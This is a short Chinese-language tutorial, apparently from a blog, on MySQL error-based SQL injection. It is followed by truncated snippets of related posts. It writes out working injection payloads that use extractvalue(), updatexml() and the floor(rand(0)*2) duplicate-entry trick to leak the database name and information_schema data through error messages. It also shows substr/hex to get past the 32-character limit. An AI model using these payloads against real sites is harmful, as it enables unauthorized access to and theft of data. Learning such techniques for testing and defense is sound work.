extractvalue()
extractvalue() :對xml文件進行查詢的函式
語法:extractvalue(文件,路徑)
路徑寫入其他格式,就會報錯並且會返回我們寫入的非法格式內容,我們可以利用這個得到我們想得到的內容
正常查詢 第二個引數的位置格式 為 /x/xx ,即使查詢不到也不會報錯
select username from security.user where id=1 and (extractvalue(『1』,』/x/xx』))
使用concat()拼接 『 / 『 效果相同,
select id from test where id=1 and extractvalue(『1』,concat(』~』,(select database())));
這裡在』1』中查詢不到,位置是 /database()的內容,
但沒有語法錯誤,不會報錯,下面故意寫入錯誤語法:
select id from test where id=1 and extractvalue(『1』,concat(』~』,(select database())));
可以看出,以~開頭的內容不是xml格式的語法,發生報錯,並顯示無法識別的內容。!#$%等都可以成功。
extractvalue()能查詢字串的最大長度為32,如果我們想要的結果超過32,可以用substr()函式擷取
select id from test where id=1 and (extractvalue(『1』,concat(』#』,substr(hex((select database())),1,3))));
updatexml()
updatexml():更新xml文件的函式。
語法:updatexml(文件,路徑,更新的內容)
select id from test where id=1 and (updatexml(『1』,』/xx/xx』,『1』));
報錯方式相同:
select id from test where id=1 and (updatexml(『1』,concat(』~』,(select database())),『1』));
同樣是32位查詢。
SQL注入 報錯注入
乙個帶get引數的 並且不從資料庫返回資料,但存在報錯資訊 檢視字段情況 報錯注入語句格式 and 1 2 union select1,2,3 from select count concat floor rand 0 2 sql語句 a from information schema.tables...
SQL注入 報錯注入
sql注入基礎 盲注 用於注入結果無回顯但錯誤資訊有輸出的情況 floor函式 返回小於等於某值的整數,例如floor 1 則返回1,floor 1.9 也返回1 rand函式 生成隨機數.可指定seed,指定後每次生成的數都一樣即偽隨機,不指定seed則每次生成的隨機數都不一樣.通過floor和r...
SQL注入 報錯注入
利用 mysql select 1 from select count concat version floor rand 0 2 x from information schema.tables group by x a error 1062 23000 duplicate entry 5.1.4...